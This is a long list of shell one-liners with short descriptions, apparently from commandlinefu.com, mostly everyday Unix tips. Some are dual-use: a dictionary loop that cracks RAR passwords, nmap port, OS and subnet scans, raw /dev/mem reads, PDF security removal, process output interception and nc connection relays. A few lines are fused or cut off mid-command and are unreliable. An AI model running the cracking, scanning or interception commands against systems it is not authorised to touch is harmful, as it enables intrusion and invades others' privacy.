# Run the last command as root
sudo !!
# Serve current directory tree at http://$HOSTNAME:8000/
python -m SimpleHTTPServer
# Save a file you edited in vim without the needed permissions
:w !sudo tee %
# change to the previous working directory
cd -
# Runs previous command but replacing
^foo^bar
# mtr, better than traceroute and ping combined
mtr google.com
# quickly backup or copy a file with bash
cp filename{,.bak}
# Rapidly invoke an editor to write a long, complex, or tricky command
ctrl-x e
# Copy ssh keys to user@host to enable password-less ssh logins.
$ssh-copy-id user@host
# Empty a file
> file.txt
# Execute a command without saving it in the history
command
# Capture video of a linux desktop
ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg
# Salvage a borked terminal
reset
# start a tunnel from some machine's port 80 to your local post 2001
ssh -N -L2001:localhost:80 somemachine
# Execute a command at a given time
echo "ls -l" | at midnight
# Query Wikipedia via console over DNS
dig +short txt .wp.dg.cx
# currently mounted filesystems in nice layout
mount | column -t
# Update twitter via curl
curl -u user:pass -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml
# Place the argument of the most recent command on the shell
'ALT+.' or ' .'
# output your microphone to a remote computer's speaker
dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp
# Lists all listening ports together with the PID of the associated process
netstat -tlnp
# Mount a temporary ram partition
mount -t tmpfs tmpfs /mnt -o size=1024m
# Mount folder/filesystem through SSH
sshfs name@server:/path/to/folder /path/to/mount/point
# Runs previous command replacing foo by bar every time that foo appears
!!:gs/foo/bar
# Compare a remote file with a local file
ssh user@host cat /path/to/remotefile | diff /path/to/localfile -
# Quick access to the ascii table.
man ascii
# Download an entire website
wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com
# Shutdown a Windows machine from Linux
net rpc shutdown -I ipAddressOfWindowsPC -U username%password
# List the size (in human readable form) of all sub folders from the current location
du -h --max-depth=1
# Get your external IP address
curl ifconfig.me
# A very simple and useful stopwatch
time read (ctrl-d to stop)
# Clear the terminal screen
ctrl-l
# Jump to a directory, execute a command and jump back to current dir
(cd /tmp && ls)
# Check your unread Gmail from the command line
curl -u username --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print "\t" if //; print "$2\n" if /<(title|name)>(.*)<\/\1>/;'
# SSH connection through host in the middle
ssh -t reachable_host ssh unreachable_host
# Display the top ten running processes - sorted by memory usage
ps aux | sort -nk +4 | tail
# Reboot machine when everything is hanging
+ + - - - - -
# Simulate typing
echo "You can simulate on-screen typing just like in the movies" | pv -qL 10
# Watch Star Wars via telnet
telnet towel.blinkenlights.nl
# List of commands you use most often
history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
# Set audible alarm when an IP address comes online
ping -i 60 -a IP_address
# Make 'less' behave like 'tail -f'.
less +F somelogfile
# diff two unsorted files without creating temporary files
diff <(sort file1) <(sort file2)
# type partial command, kill this command, check something you forgot, yank the command, resume typing.
[...]
# Close shell keeping all subprocess running
disown -a && exit
# Display a block of text with AWK
awk '/start_pattern/,/stop_pattern/' file.txt
# Watch Network Service Activity in Real-time
lsof -i
# Backticks are evil
echo "The date is: $(date +%D)"
# Sharing file through http 80 port
nc -v -l 80 < file.ext
# Matrix Style
tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"
# Push your present working directory to a stack that you can pop later
pushd /tmp
# python smtp server
python -m smtpd -n -c DebuggingServer localhost:1025
# Create a script of the last executed command
echo "!!" > foo.sh
# Rip audio from a video file.
mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile
# Set CDPATH to ease navigation
CDPATH=:..:~:~/projects
# 32 bits or 64 bits?
getconf LONG_BIT
# Google Translate
translate(){ wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=$1&langpair=$2|${3:-en}" | sed
's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; }
# A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram
sudo dd if=/dev/mem | cat | strings
# Extract tarball from internet without local saving
wget -qO - "http://www.tarball.com/tarball.gz" | tar zxvf -
# Show apps that use internet connection at the moment. (Multi-Language)
lsof -P -i -n
# Kills a process that is locking a file.
fuser -k filename
# Stream YouTube URL directly to mplayer.
i="8uyxVmdaJ-w";mplayer -fs $(curl -s "http://www.youtube.com/get_video_info?&video_id=$i" | echo -e $(sed 's/%/\\x/g;s/.*\(v[0-9]\.lscache.*\)/http:\/\/\1/g')
| grep -oP '^[^|,]*')
# Display which distro is installed
cat /etc/issue
# Put a console clock in top right corner
while sleep 1;do tput sc;tput cup 0 $(($(tput cols)-29));date;tput rc;done &
# Reuse all parameter of the previous command line
!*
# Delete all files in a folder that don't match a certain file extension
rm !(*.foo|*.bar|*.baz)
# Inserts the results of an autocompletion in the command line
ESC *
# save command output to image
ifconfig | convert label:@- ip.png
# Remove duplicate entries in a file without sorting.
awk '!x[$0]++'
# Add Password Protection to a file your editing in vim.
vim -x
# Copy your SSH public key on a remote machine for passwordless login - the easy way
ssh-copy-id username@hostname
# Easily search running processes (alias).
alias 'ps?'='ps ax | grep '
# Insert the last command without the last argument (bash)
!:-
# Create a CD/DVD ISO image from disk.
readom dev=/dev/scd0 f=/path/to/image.iso
# Easy and fast access to often executed commands that are very long and complex.
some_very_long_and_complex_command # label
# Find the process you are looking for minus the grepped one
ps aux | grep [p]rocess-name
# Job Control
^Z $bg $disown
# Graphical tree of sub-directories
ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'
# quickly rename a file
mv filename.{old,new}
# intercept stdout/stderr of another process
strace -ff -e trace=write -e write=1,2 -p SOME_PID
# Graph # of connections for each hosts.
netstat -an | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | awk '{ printf("%s\t%s\t",$2,$1) ; for (i = 0; i < $1; i++)
{printf("*")}; print "" }'
# escape any command aliases
\[command]
# Monitor progress of a command
pv access.log | gzip > access.log.gz
# Display a cool clock on your terminal
watch -t -n1 "date +%T|figlet"
# Edit a file on a remote host using vim
vim scp://username@host//path/to/somefile
# Define a quick calculator function
? () { echo "$*" | bc -l; }
# Mount a .iso file in UNIX/Linux
mount /path/to/file.iso /mnt/cdrom -oloop
# Get the 10 biggest files/folders for the current direcotry
du -s * | sort -n | tail
# Remove all but one specific file
rm -f !(survivior.txt)
# Check your unread Gmail from the command line
curl -u username:password --silent "https://mail.google.com/mail/feed/atom" | tr -d '\n' | awk -F '' '{for (i=2; i<=NF; i++) {print $i}}' | sed -n
"s/\(.*\)<\/title.*name>\(.*\)<\/name>.*/\2 - \1/p"
# Send pop-up notifications on Gnome
notify-send [""] ""
# Convert seconds to human-readable format
date -d@1234567890
# Generate a random password 30 characters long
strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo
# Print all the lines between 10 and 20 of a file
sed -n '10,20p'
# Show apps that use internet connection at the moment. (Multi-Language)
ss -p
# Record a screencast and convert it to an mpeg
ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 /tmp/outputFile.mpg
# Processor / memory bandwidthd? in GB/s
dd if=/dev/zero of=/dev/null bs=1M count=32768
# Open Finder from the current Terminal location
open .
# Make directory including intermediate directories
mkdir -p a/long/directory/path
# Run a command only when load average is below a certain threshold
echo "rm -rf /unwanted-but-large/folder" | batch
# Show File System Hierarchy
man hier
# Copy a file using pv and watch its progress
pv sourcefile > destfile
# Remove security limitations from PDF documents using ghostscript
gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=OUTPUT.pdf -c .setpdfwrite -f INPUT.pdf
# directly ssh to host B that is only accessible through host A
ssh -t hostA ssh hostB
# Share a terminal screen with others
% screen -r someuser/
# Create a persistent connection to a machine
ssh -MNf @
# Monitor the queries being run by MySQL
watch -n 1 mysqladmin --user= --password= processlist
# Multiple variable assignments from command output in BASH
read day month year <<< $(date +'%d %m %y')
# Binary Clock
watch -n 1 'echo "obase=2;`date +%s`" | bc'
# return external ip
curl icanhazip.com
# Backup all MySQL Databases to individual files
for I in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $I | gzip > "$I.sql.gz"; done
# Attach screen over ssh
ssh -t remote_host screen -r
# Create a pdf version of a manpage
man -t manpage | ps2pdf - filename.pdf
# Remove a line in a text file. Useful to fix
ssh-keygen -R
# Search commandlinefu.com from the command line using the API
cmdfu(){ curl "http://www.commandlinefu.com/commands/matching/$@/$(echo -n $@ | openssl base64)/plaintext"; }
# Download Youtube video with wget!
wget http://www.youtube.com/watch?v=dQw4w9WgXcQ -qO- | sed -n "/fmt_url_map/{s/[\'\"\|]/\n/g;p}" | sed -n '/^fmt_url_map/,/videoplayback/p' | sed -e :a -e
'$q;N;5,$D;ba' | tr -d '\n' | sed -e 's/\(.*\),\(.\)\{1,3\}/\1/' | wget -i - -O surprise.flv
# RTFM function
rtfm() { help $@ || man $@ || $BROWSER "http://www.google.com/search?q=$@"; }
# What is my public IP-address?
curl ifconfig.me
# Run a file system check on your next boot.
sudo touch /forcefsck
# To print a specific line from a file
sed -n 5p
# Find Duplicate Files (based on size first, then MD5 hash)
find -not -empty -type f -printf "%s\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32
--all-repeated=separate
# Bring the word under the cursor on the :ex line in Vim
:
# Port Knocking!
knock 3000 4000 5000 && ssh -p user@host && knock 5000 4000 3000
# Show a 4-way scrollable process tree with full details.
ps awwfux | less -S
# replace spaces in filenames with underscores
rename 'y/ /_/' *
# (Debian/Ubuntu) Discover what package a file belongs to
dpkg -S /usr/bin/ls
# Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, then bytes.
du -b --max-depth 1 | sort -nr | perl -pe 's{([0-9]+)}{sprintf "%.1f%s", $1>=2**30? ($1/2**30, "G"): $1>=2**20? ($1/2**20, "M"): $1>=2**10? ($1/2**10, "K"):
($1, "")}e'
# Block known dirty hosts from reaching your machine
wget -qO - http://infiltrated.net/blacklisted|awk '!/#|[a-z]/&&/./{print "iptables -A INPUT -s "$1" -j DROP"}'
# Download all images from a site
wget -r -l1 --no-parent -nH -nd -P/tmp -A".gif,.jpg" http://example.com/images
# Broadcast your shell thru ports 5000, 5001, 5002 ...
script -qf | tee >(nc -kl 5000) >(nc -kl 5001) >(nc -kl 5002)
# ls not pattern
ls !(*.gz)
# Edit a google doc with vim
google docs edit --title "To-Do List" --editor vim
# Show numerical values for each of the 256 colors in bash
for code in {0..255}; do echo -e "\e[38;05;${code}m $code: Test"; done
# Makes the permissions of file2 the same as file1
chmod --reference file1 file2
# A robust, modular log coloriser
ccze
# Remove all files previously extracted from a tar(.gz) file.
tar -tf | xargs rm -r
# which program is this port belongs to ?
lsof -i tcp:80
# Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id
cat ~/.ssh/id_rsa.pub | ssh user@machine "mkdir ~/.ssh; cat >> ~/.ssh/authorized_keys"
# check site ssl certificate dates
echo | openssl s_client -connect www.google.com:443 2>/dev/null |openssl x509 -dates -noout
# Remove a line in a text file. Useful to fix "ssh host key change" warnings
sed -i 8d ~/.ssh/known_hosts
# List only the directories
ls -d */
# exit without saving history
kill -9 $$
# Eavesdrop on your system
diff <(lsof -p 1234) <(sleep 10; lsof -p 1234)
# Gets a random Futurama quote from /.
curl -Is slashdot.org | egrep '^X-(F|B|L)' | cut -d \- -f 2
# Remind yourself to leave in 15 minutes
leave +15
# Convert PDF to JPG
for file in `ls *.pdf`; do convert -verbose -colorspace RGB -resize 800 -interlace none -density 300 -quality 80 $file `echo $file | sed 's/\.pdf$/\.jpg/'`;
done
# using `!#$' to reference backward-word
cp /work/host/phone/ui/main.cpp !#$:s/host/target
# Fast, built-in pipe-based data sink
|:
# Use tee to process a pipe with two or more processes
echo "tee can split a pipe in two"|tee >(rev) >(tr ' ' '_')
# Exclude .svn, .git and other VCS junk for a pristine tarball
tar --exclude-vcs -cf src.tar src/
# Colorized grep in less
grep --color=always | less -R
# Manually Pause/Unpause Firefox Process with POSIX-Signals
killall -STOP -m firefox
# Search recursively to find a word or phrase in certain file types, such as C code
find . -name "*.[ch]" -exec grep -i -H "search pharse" {} \;
# Exclude multiple columns using AWK
awk '{$1=$3=""}1' file
# Synchronize date and time with a server over ssh
date --set="$(ssh user@server date)"
# Control ssh connection
[enter]~?
# Get the IP of the host your coming from when logged in remotely
echo ${SSH_CLIENT%% *}
# Take screenshot through SSH
DISPLAY=:0.0 import -window root /tmp/shot.png
# run complex remote shell cmds over ssh, without escaping quotes
ssh host -l user $( /proc/sys/vm/drop_caches && free
# Create a nifty overview of the hardware in your computer
lshw -html > hardware.html
# Add timestamp to history
export HISTTIMEFORMAT="%F %T "
# find geographical location of an ip address
lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|grep address|egrep 'city|state|country'|awk '{print $3,$4,$5,$6,$7,$8}'|sed 's\ip address flag \\'|sed
's\My\\'
# read manpage of a unix command as pdf in preview (Os X)
man -t UNIX_COMMAND | open -f -a preview
# How to establish a remote Gnu screen session that you can re-connect to
ssh -t user@some.domain.com /usr/bin/screen -xRR
# Copy a MySQL Database to a new Server via SSH with one command
mysqldump --add-drop-table --extended-insert --force --log-error=error.log -uUSER -pPASS OLD_DB_NAME | ssh -C user@newhost "mysql -uUSER -pPASS NEW_DB_NAME"
# make directory tree
mkdir -p work/{d1,d2}/{src,bin,bak}
# Create a quick back-up copy of a file
cp file.txt{,.bak}
# Find out how much data is waiting to be written to disk
grep ^Dirty /proc/meminfo
# mkdir & cd into it as single command
mkdir /home/foo/doc/bar && cd $_
# Use file(1) to view device information
file -s /dev/sd*
# Bind a key with a command
bind -x '"\C-l":ls -l'
# Opens vi/vim at pattern in file
vi +/pattern [file]
# Colorful man
apt-get install most && update-alternatives --set pager /usr/bin/most
# live ssh network throughput test
yes | pv | ssh $host "cat > /dev/null"
# Pipe stdout and stderr, etc., to separate commands
some_command > >(/bin/cmd_for_stdout) 2> >(/bin/cmd_for_stderr)
# Remove blank lines from a file using grep and save output to new file
grep . filename > newfilename
# Go to parent directory of filename edited in last command
cd !$:h
# Draw a Sierpinski triangle
perl -e 'print "P1\n256 256\n", map {$_&($_>>8)?1:0} (0..0xffff)' | display
# Recursively change permissions on files, leave directories alone.
find ./ -type f -exec chmod 644 {} \;
# recursive search and replace old with new string, inside files
$ grep -rl oldstring . |xargs sed -i -e 's/oldstring/newstring/'
# shut of the screen.
xset dpms force standby
# Save your sessions in vim to resume later
:mksession!
# Intercept, monitor and manipulate a TCP connection.
mkfifo /tmp/fifo; cat /tmp/fifo | nc -l -p 1234 | tee -a to.log | nc machine port | tee -a from.log > /tmp/fifo
# Display a list of committers sorted by the frequency of commits
svn log -q|grep "|"|awk "{print \$3}"|sort|uniq -c|sort -nr
# Prettify an XML file
tidy -xml -i -m [file]
# List the number and type of active network connections
netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c
# Google text-to-speech in mp3 format
wget -q -U Mozilla -O output.mp3 "http://translate.google.com/translate_tts?ie=UTF-8&tl=en&q=hello+world
# Bind a key with a command
bind '"\C-l":"ls -l\n"'
# Alias HEAD for automatic smart output
alias head='head -n $((${LINES:-`tput lines 2>/dev/null||echo -n 12`} - 2))'
# Create colorized html file from Vim or Vimdiff
:TOhtml
# Recursively remove all empty directories
find . -type d -empty -delete
# Listen to BBC Radio from the command line.
bbcradio() { local s PS3="Select a station: ";select s in 1 1x 2 3 4 5 6 7 "Asian Network an" "Nations & Local lcl";do break;done;s=($s);mplayer -playlist
"http://www.bbc.co.uk/radio/listen/live/r"${s[@]: -1}".asx";}
# backup all your commandlinefu.com favourites to a plaintext file
clfavs(){ URL="http://www.commandlinefu.com";wget -O - --save-cookies c --post-data "username=$1&password=$2&submit=Let+me+in" $URL/users/signin;for i in `seq
0 25 $3`;do wget -O - --load-cookies c $URL/commands/favourites/plaintext/$i >>$4;done;rm -f c;}
# send echo to socket network
echo "foo" > /dev/tcp/192.168.1.2/25
# Cracking a password protected .rar file
for i in $(cat dict.txt);do unrar e -p$i protected.rar; if [ $? = 0 ];then echo "Passwd Found: $i";break;fi;done
# Use lynx to run repeating website actions
lynx -accept_all_cookies -cmd_script=/your/keystroke-file
# Create a single-use TCP (or UDP) proxy
nc -l -p 2000 -c "nc example.org 3000"
# runs a bash script in debugging mode
bash -x ./post_to_commandlinefu.sh
# GRUB2: set Super Mario as startup tune
echo "GRUB_INIT_TUNE=\"1000 334 1 334 1 0 1 334 1 0 1 261 1 334 1 0 1 392 2 0 4 196 2\"" | sudo tee -a /etc/default/grub > /dev/null && sudo update-grub
# A child process which survives the parent's death (for sure)
( command & )
# send a circular
wall <<< "Broadcast This"
# exclude a column with cut
cut -f5 --complement
# Random Number Between 1 And X
echo $[RANDOM%X+1]
# April Fools' Day Prank
PROMPT_COMMAND='if [ $RANDOM -le 3200 ]; then printf "\0337\033[%d;%dH\033[4%dm \033[m\0338" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); fi'
# copy working directory and compress it on-the-fly while showing progress
tar -cf - . | pv -s $(du -sb . | awk '{print $1}') | gzip > out.tgz
# Create an audio test CD of sine waves from 1 to 99 Hz
(echo CD_DA; for f in {01..99}; do echo "$f Hz">&2; sox -nt cdda -r44100 -c2 $f.cdda synth 30 sine $f; echo TRACK AUDIO; echo FILE \"$f.cdda\" 0; done) >
cdrdao.toc && cdrdao write cdrdao.toc && rm ??.cdda cdrdao.toc
# Create a directory and change into it at the same time
md () { mkdir -p "$@" && cd "$@"; }
# Search for a string inside all files in the current directory
grep -RnisI *
# convert unixtime to human-readable
date -d @1234567890
# Show current working directory of a process
pwdx pid
# Diff on two variables
diff <(echo "$a") <(echo "$b")
# Compare two directory trees.
diff <(cd dir1 && find | sort) <(cd dir2 && find | sort)
# delete a line from your shell history
history -d
# Perform a branching conditional
true && { echo success;} || { echo failed; }
# Find files that have been modified on your system in the past 60 minutes
sudo find / -mmin 60 -type f
# Use tee + process substitution to split STDOUT to multiple commands
some_command | tee >(command1) >(command2) >(command3) ... | command4
# Speed up launch of firefox
find ~ -name '*.sqlite' -exec sqlite3 '{}' 'VACUUM;' \;
# find files in a date range
find . -type f -newermt "2010-01-01" ! -newermt "2010-06-01"
# Shell recorder with replay
script -t /tmp/mylog.out 2>/tmp/mylog.time; ; ; scriptreplay /tmp/mylog.time /tmp/mylog.out
# Find usb device
diff <(lsusb) <(sleep 3s && lsusb)
# prevent accidents while using wildcards
rm *.txt
# The BOFH Excuse Server
telnet towel.blinkenlights.nl 666
# Recover a deleted file
grep -a -B 25 -A 100 'some string in the file' /dev/sda1 > results.txt
# Lists all listening ports together with the PID of the associated process
lsof -Pan -i tcp -i udp
# notify yourself when a long-running command which has ALREADY STARTED is finished
fg; notify_me
# easily find megabyte eating files or directories
alias dush="du -sm *|sort -n|tail"
# GREP a PDF file.
pdftotext [file] - | grep 'YourPattern'
# View the newest xkcd comic.
xkcd(){ wget -qO- http://xkcd.com/|tee >(feh $(grep -Po '(?<=")http://imgs[^/]+/comics/[^"]+\.\w{3}'))|grep -Po '(?<=(\w{3})" title=").*(?=" alt)';}
# Schedule a script or command in x num hours, silently run in the background even if logged out
( ( sleep 2h; your-command your-args ) & )
# throttle bandwidth with cstream
tar -cj /backup | cstream -t 777k | ssh host 'tar -xj -C /backup'
# List all files opened by a particular command
lsof -c dhcpd
# Brute force discover
sudo zcat /var/log/auth.log.*.gz | awk '/Failed password/&&!/for invalid user/{a[$9]++}/Failed password for invalid user/{a["*" $11]++}END{for (i in a) printf
"%6s\t%s\n", a[i], i|"sort -n"}'
# convert uppercase files to lowercase files
rename 'y/A-Z/a-z/' *
# Instead of writing a multiline if/then/else/fi construct you can do that by one line
[[ test_condition ]] && if_true_do_this || otherwise_do_that
# Create a file server, listening in port 7000
while true; do nc -l 7000 | tar -xvf -; done
# Convert seconds into minutes and seconds
bc <<< 'obase=60;299'
# VI config to save files with +x when a shebang is found on line 1
au BufWritePost * if getline(1) =~ "^#!" | if getline(1) =~ "/bin/" | silent !chmod +x | endif | endif
# find all file larger than 500M
find / -type f -size +500M
# Diff remote webpages using wget
diff <(wget -q -O - URL1) <(wget -q -O - URL2)
# pretend to be busy in office to enjoy a cup of coffee
cat /dev/urandom | hexdump -C | grep "ca fe"
# processes per user counter
ps hax -o user | sort | uniq -c
# analyze traffic remotely over ssh w/ wireshark
ssh root@server.com 'tshark -f "port !22" -w -' | wireshark -k -i -
# perl one-liner to get the current week number
date +%V
# Monitor bandwidth by pid
nethogs -p eth0
# Recursively compare two directories and output their differences on a readable format
diff -urp /originaldirectory /modifieddirectory
# DELETE all those duplicate files but one based on md5 hash comparision in the current directory tree
find . -type f -print0|xargs -0 md5sum|sort|perl -ne 'chomp;$ph=$h;($h,$f)=split(/\s+/,$_,2);print "$f"."\x00" if ($h eq $ph)'|xargs -0 rm -v --
# List recorded formular fields of Firefox
cd ~/.mozilla/firefox/ && sqlite3 `cat profiles.ini | grep Path | awk -F= '{print $2}'`/formhistory.sqlite "select * from moz_formhistory" && cd - > /dev/null
# Nicely display permissions in octal format with filename
stat -c '%A %a %n' *
# Resume scp of a big file
rsync --partial --progress --rsh=ssh $file_source $user@$host:$destination_file
# Base conversions with bc
echo "obase=2; 27" | bc -l
# Start a command on only one CPU core
taskset -c 0 your_command
# Switch 2 characters on a command line.
ctrl-t
# Get info about remote host ports and OS detection
nmap -sS -P0 -sV -O
# cat a bunch of small files with file indication
grep . *
# format txt as table not joining empty columns
column -tns: /etc/passwd
# Tell local Debian machine to install packages used by remote Debian machine
ssh remotehost 'dpkg --get-selections' | dpkg --set-selections && dselect install
# send a circular
echo "dear admin, please ban eribsskog" | wall
# Close a hanging ssh session
~.
# I finally found out how to use notify-send with at or cron
echo "export DISPLAY=:0; export XAUTHORITY=~/.Xauthority; notify-send test" | at now+1minute
# See udev at work
udevadm monitor
# Get your outgoing IP address
dig +short myip.opendns.com @resolver1.opendns.com
# your terminal sings
echo {1..199}" bottles of beer on the wall, cold bottle of beer, take one down, pass it around, one less bottle of beer on the wall,, " | espeak -v english -s
140
# Define words and phrases with google.
define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Po '(?<=
)[^<]+'|nl|perl -MHTML::Entities -pe
'decode_entities($_)' 2>/dev/null;}
# Insert the last argument of the previous command
.
# Harder, Faster, Stronger SSH clients
ssh -4 -C -c blowfish-cbc
# Duplicate several drives concurrently
dd if=/dev/sda | tee >(dd of=/dev/sdb) | dd of=/dev/sdc
# Get your external IP address
curl ip.appspot.com
# Clean up poorly named TV shows.
rename -v 's/.*[s,S](\d{2}).*[e,E](\d{2}).*\.avi/SHOWNAME\ S$1E$2.avi/' poorly.named.file.s01e01.avi
# Find files that were modified by a given command
touch /tmp/file ; $EXECUTECOMMAND ; find /path -newer /tmp/file
# A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram
sudo strings /dev/mem
# Triple monitoring in screen
tmpfile=$(mktemp) && echo -e 'startup_message off\nscreen -t top htop\nsplit\nfocus\nscreen -t nethogs nethogs wlan0\nsplit\nfocus\nscreen -t iotop iotop' >
$tmpfile && sudo screen -c $tmpfile
# Quickly (soft-)reboot skipping hardware checks
/sbin/kexec -l /boot/$KERNEL --append="$KERNELPARAMTERS" --initrd=/boot/$INITRD; sync; /sbin/kexec -e
# Save a HTML page, and convert it to a .pdf file
wget $URL | htmldoc --webpage -f "$URL".pdf - ; xpdf "$URL".pdf &
# Relocate a file or directory, but keep it accessible on the old location through a simlink.
mv $1 $2 && ln -s $2/$(basename $1) $(dirname $1)
# Run a long job and notify me when it's finished
./my-really-long-job.sh && notify-send "Job finished"
# Make anything more awesome
command | figlet
# Install a Firefox add-on/theme to all users
sudo firefox -install-global-extension /path/to/add-on
# Copy a file structure without files
find * -type d -exec mkdir /where/you/wantem/\{\} \;
# Analyse an Apache access log for the most common IP addresses
tail -10000 access_log | awk '{print $1}' | sort | uniq -c | sort -n | tail
# Share your terminal session real-time
mkfifo foo; script -f foo
# Generate an XKCD #936 style 4 word password
shuf -n4 /usr/share/dict/words | tr -d '\n'
# Find all the links to a file
find -L / -samefile /path/to/file -exec ls -ld {} +
# Recover tmp flash videos (deleted immediately by the browser plugin)
for h in `find /proc/*/fd -ilname "/tmp/Flash*" 2>/dev/null`; do ln -s "$h" `readlink "$h" | cut -d' ' -f1`; done
# stderr in color
mycommand 2> >(while read line; do echo -e "\e[01;31m$line\e[0m"; done)
# Stop Flash from tracking everything you do.
for i in ~/.adobe ~/.macromedia ; do ( rm $i/ -rf ; ln -s /dev/null $i ) ; done
# Create a single PDF from multiple images with ImageMagick
convert *.jpg output.pdf
# List files with quotes around each filename
ls -Q
# List alive hosts in specific subnet
nmap -sP 192.168.1.0/24
# Delete all empty lines from a file with vim
:g/^$/d
# Makes you look busy
alias busy='my_file=$(find /usr/include -type f | sort -R | head -n 1); my_len=$(wc -l $my_file | awk "{print $1}"); let "r = $RANDOM % $my_len" 2>/dev/null;
vim +$r $my_file'
# Remote screenshot
DISPLAY=":0.0" import -window root screenshot.png
# Execute a command with a timeout
timeout 10 sleep 11
# Backup all MySQL Databases to individual files
for db in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $db | gzip > "/backups/mysqldump-$(hostname)-$db-$(date +%Y-%m-%d-%H.%M.%S).gz";
done
# Cleanup firefox's database.
find ~/.mozilla/firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \;
# check open ports
lsof -Pni4 | grep LISTEN
# Have an ssh session open forever
autossh -M50000 -t server.example.com 'screen -raAd mysession'
# Create a system overview dashboard on F12 key
bind '"\e[24~"':"\"ps -elF;df -h;free -mt;netstat -lnpt;who -a\C-m"""
# coloured tail
tail -f FILE | perl -pe 's/KEYWORD/\e[1;31;43m$&\e[0m/g'
# Search for commands from the command line
clfu-search
# Quickly graph a list of numbers
gnuplot -persist <(echo "plot '<(sort -n listOfNumbers.txt)' with lines")
# a short counter
yes '' | cat -n
# How to run X without any graphics hardware
startx -- `which Xvfb` :1 -screen 0 800x600x24 && DISPLAY=:1 x11vnc
# Rsync remote data as root using sudo
rsync --rsync-path 'sudo rsync' username@source:/folder/ /local/
# ls -hog --> a more compact ls -l
ls -hog
# Put readline into vi mode
set -o vi
# Delete all empty lines from a file with vim
:g!/\S/d
# Get all the keyboard shortcuts in screen
^A ?
# Copy stdin to your X11 buffer
ssh user@host cat /path/to/some/file | xclip
# List of commands you use most often
history | awk '{print $2}' | sort | uniq -c | sort -rn | head
# Start a new command in a new screen window
alias s='screen -X screen'; s top; s vi; s man ls;
# bypass any aliases and functions for the command
\foo
# All IP connected to my host
netstat -lantp | grep ESTABLISHED |awk '{print $5}' | awk -F: '{print $1}' | sort -u
# Repoint an existing symlink to a new location
ln -nsf
# df without line wrap on long FS name
df -P | column -t
# Watch RX/TX rate of an interface in kb/s
while [ /bin/true ]; do OLD=$NEW; NEW=`cat /proc/net/dev | grep eth0 | tr -s ' ' | cut -d' ' -f "3 11"`; echo $NEW $OLD | awk '{printf("\rin: % 9.2g\t\tout: %
9.2g", ($1-$3)/1024, ($2-$4)/1024)}'; sleep 1; done
# rsync instead of scp
rsync --progress --partial --rsh="ssh -p 8322" --bwlimit=100 --ipv4 user@domain.com:~/file.tgz .
# Download a file and uncompress it while it downloads
wget http://URL/FILE.tar.gz -O - | tar xfz -
# Single use vnc-over-ssh connection
ssh -f -L 5900:localhost:5900 your.ssh.server "x11vnc -safer -localhost -nopw -once -display :0"; vinagre localhost:5900
# Visit wikileaks.com
echo 213.251.145.96 wikileaks.com >>/etc/hosts
# List all open ports and their owning executables
lsof -i -P | grep -i "listen"
# use the previous commands params in the current command
!!:[position]
# View network activity of any application or user in realtime
lsof -r 2 -p PID -i -a
# Convert text to picture
echo -e "Some Text Line1\nSome Text Line 2" | convert -background none -density 196 -resample 72 -unsharp 0x.5 -font "Courier" text:- -trim +repage
-bordercolor white -border 3 text.gif
# download and unpack tarball without leaving it sitting on your hard drive
wget -qO - http://example.com/path/to/blah.tar.gz | tar xzf -
# Colored diff ( via vim ) on 2 remotes files on your local computer.
vimdiff scp://root@server-foo.com//etc/snmp/snmpd.conf scp://root@server-bar.com//etc/snmp/snmpd.conf
# Pretty Print a simple csv in the command line
column -s, -t &1 1>&3 | tee /path/to/errorlog ) 3>&1 1>&2 | tee /path/to/stdoutlog
# Terminal - Show directories in the PATH, one per line with sed and bash3.X `he
re string'tr : '\n' <<<$PATH
# use vim to get colorful diff output
svn diff | view -
# Find Duplicate Files (based on MD5 hash)
find -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 33 | cut -c 35-
# Create a list of binary numbers
echo {0..1}{0..1}{0..1}{0..1}
# When feeling down, this command helps
sl
# Transfer SSH public key to another machine in one step
ssh-keygen; ssh-copy-id user@host; ssh user@host
# iso-8859-1 to utf-8 safe recursive rename
detox -r -s utf_8 /path/to/old/win/files/dir
# git remove files which have been deleted
git rm $(git ls-files --deleted)
# Show biggest files/directories, biggest first with 'k,m,g' eyecandy
du --max-depth=1 | sort -r -n | awk '{split("k m g",v); s=1; while($1>1024){$1/=1024; s++} print int($1)" "v[s]"\t"$2}'
# Terminate a frozen SSH-session
RETURN~.
# Download an entire static website to your local machine
wget --recursive --page-requisites --convert-links www.moyagraphix.co.za
# Get list of servers with a specific port open
nmap -sT -p 80 -oG - 192.168.1.* | grep open
# Efficiently print a line deep in a huge log file
sed '1000000!d;q' < massive-log-file.log
# Convert seconds into minutes and seconds
echo 'obase=60;299' | bc
# List by size all of the directories in a given tree.
du -h /path | sort -h
